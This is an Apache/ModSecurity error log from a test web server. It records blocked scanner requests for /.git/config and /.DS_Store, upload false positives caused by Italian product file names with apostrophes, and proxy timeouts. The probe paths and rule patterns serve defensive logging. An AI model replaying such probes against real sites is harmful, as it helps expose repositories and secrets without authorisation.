[Mon Jul 17 02:19:52.032159 2023] [:error] [pid 673638] [client 3.143.209.15:52608] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZLSJKKf8b0BmNA89Kdw_aQAAAAM&quot;]
[Mon Jul 17 02:19:52.032272 2023] [:error] [pid 673638] [client 3.143.209.15:52608] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZLSJKKf8b0BmNA89Kdw_aQAAAAM&quot;]
[Mon Jul 17 02:19:52.046574 2023] [:error] [pid 673635] [client 3.143.209.15:52638] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZLSJKOqR2JONb5tmzF-ncAAAAAA&quot;]
[Mon Jul 17 02:19:52.046803 2023] [:error] [pid 673635] [client 3.143.209.15:52638] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZLSJKOqR2JONb5tmzF-ncAAAAAA&quot;]
[Mon Jul 17 02:19:52.046965 2023] [:error] [pid 673635] [client 3.143.209.15:52638] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ZLSJKOqR2JONb5tmzF-ncAAAAAA&quot;]
[Mon Jul 17 02:19:52.058877 2023] [:error] [pid 673637] [client 3.143.209.15:52654] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZLSJKIZYX_VnrzSUhoVlRQAAAAI&quot;]
[Mon Jul 17 02:19:52.059059 2023] [:error] [pid 673637] [client 3.143.209.15:52654] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZLSJKIZYX_VnrzSUhoVlRQAAAAI&quot;]
[Mon Jul 17 02:19:52.059185 2023] [:error] [pid 673637] [client 3.143.209.15:52654] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZLSJKIZYX_VnrzSUhoVlRQAAAAI&quot;]
[Mon Jul 17 02:19:52.107536 2023] [:error] [pid 674855] [client 3.143.209.15:52640] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZLSJKL4FjXGmLhvm8jrduQAAAAc&quot;]
[Mon Jul 17 02:19:52.107752 2023] [:error] [pid 674855] [client 3.143.209.15:52640] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZLSJKL4FjXGmLhvm8jrduQAAAAc&quot;]
[Mon Jul 17 02:19:52.107884 2023] [:error] [pid 674855] [client 3.143.209.15:52640] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZLSJKL4FjXGmLhvm8jrduQAAAAc&quot;]
[Fri Jul 21 09:48:05.672229 2023] [proxy_http:error] [pid 743143] (104)Connection reset by peer: [client 213.21.147.71:49898] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:42:34.974765 2023] [:error] [pid 820326] [client 2.41.184.72:63912] [client 2.41.184.72] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Shampoo all&#039;Aloe Vera Biologico.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ae6cbf85261bdd77137&quot;] [unique_id &quot;ZL-K9wB7Q0EkBoGylG3jegAAAAg&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:42:34.982387 2023] [:error] [pid 820326] [client 2.41.184.72:63912] [client 2.41.184.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ae6cbf85261bdd77137&quot;] [unique_id &quot;ZL-K9wB7Q0EkBoGylG3jegAAAAg&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:42:34.982570 2023] [:error] [pid 820326] [client 2.41.184.72:63912] [client 2.41.184.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ae6cbf85261bdd77137&quot;] [unique_id &quot;ZL-K9wB7Q0EkBoGylG3jegAAAAg&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:48:00.810008 2023] [:error] [pid 820490] [client 2.41.184.72:64004] [client 2.41.184.72] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Maschera all&#039;Alga Spirulina.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8c2fcbf85261bdd7731f&quot;] [unique_id &quot;ZL-MPx9fPbB_j7wBll7qawAAAAw&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:48:00.812163 2023] [:error] [pid 820490] [client 2.41.184.72:64004] [client 2.41.184.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8c2fcbf85261bdd7731f&quot;] [unique_id &quot;ZL-MPx9fPbB_j7wBll7qawAAAAw&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:48:00.812381 2023] [:error] [pid 820490] [client 2.41.184.72:64004] [client 2.41.184.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8c2fcbf85261bdd7731f&quot;] [unique_id &quot;ZL-MPx9fPbB_j7wBll7qawAAAAw&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:03.067846 2023] [:error] [pid 820531] [client 2.41.184.72:64028] [client 2.41.184.72] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Balsamo Labbra all&#039;Olio di Mandorle.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-M9oK81Vzu9nnXMTmohwAAAA0&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:03.069878 2023] [:error] [pid 820531] [client 2.41.184.72:64028] [client 2.41.184.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-M9oK81Vzu9nnXMTmohwAAAA0&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:03.070056 2023] [:error] [pid 820531] [client 2.41.184.72:64028] [client 2.41.184.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-M9oK81Vzu9nnXMTmohwAAAA0&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:30.021861 2023] [:error] [pid 820530] [client 2.41.184.72:64042] [client 2.41.184.72] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Balsamo Labbra all&#039;Olio di Mandorle.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NEQvNbwSrajZnfj2eYQAAAAs&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:30.023860 2023] [:error] [pid 820530] [client 2.41.184.72:64042] [client 2.41.184.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NEQvNbwSrajZnfj2eYQAAAAs&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:30.024050 2023] [:error] [pid 820530] [client 2.41.184.72:64042] [client 2.41.184.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NEQvNbwSrajZnfj2eYQAAAAs&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:40.030969 2023] [:error] [pid 820331] [client 2.41.184.72:64044] [client 2.41.184.72] ModSecurity: Warning. Pattern match &quot;(?&lt;!&amp;(?:[aAoOuUyY]uml)|&amp;(?:[aAeEiIoOuU]circ)|&amp;(?:[eEiIoOuUyY]acute)|&amp;(?:[aAeEiIoOuU]grave)|&amp;(?:[cC]cedil)|&amp;(?:[aAnNoO]tilde)|&amp;(?:amp)|&amp;(?:apos));|[&#039;\\&quot;=]&quot; at FILES:image. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;114&quot;] [id &quot;920120&quot;] [msg &quot;Attempted multipart/form-data bypass&quot;] [data &quot;Balsamo Labbra all&#039;Olio di Mandorle.png&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NG2OnTREWD_eSrDgjewAAAAM&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:40.033065 2023] [:error] [pid 820331] [client 2.41.184.72:64044] [client 2.41.184.72] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NG2OnTREWD_eSrDgjewAAAAM&quot;], referer: https://pms.test.indacotrentino.com/
[Tue Jul 25 10:51:40.033256 2023] [:error] [pid 820331] [client 2.41.184.72:64044] [client 2.41.184.72] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/media/64bf8ce1b891f80de75a15a4&quot;] [unique_id &quot;ZL-NG2OnTREWD_eSrDgjewAAAAM&quot;], referer: https://pms.test.indacotrentino.com/
[Thu Jul 27 15:54:42.908571 2023] [proxy_http:error] [pid 991516] (70007)The timeout specified has expired: [client 95.251.150.124:60658] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Thu Jul 27 15:54:42.914541 2023] [proxy:error] [pid 991516] [client 95.251.150.124:60658] AH00898: Error reading from remote server returned by /rest/partners/updateProducts/, referer: https://pms.test.indacotrentino.com/
[Fri Aug 25 21:09:01.721767 2023] [:error] [pid 1484612] [client 193.189.100.199:14301] [client 193.189.100.199] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8TVkTZhALfmFC5W_ShwAAAAk&quot;]
[Fri Aug 25 21:09:01.733678 2023] [:error] [pid 1484612] [client 193.189.100.199:14301] [client 193.189.100.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8TVkTZhALfmFC5W_ShwAAAAk&quot;]
[Fri Aug 25 21:09:01.733922 2023] [:error] [pid 1484612] [client 193.189.100.199:14301] [client 193.189.100.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZOj8TVkTZhALfmFC5W_ShwAAAAk&quot;]
[Fri Aug 25 21:09:02.548473 2023] [:error] [pid 1482262] [client 198.98.48.20:19510] [client 198.98.48.20] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZOj8TpIciOFN9pUfJPCcigAAAAU&quot;]
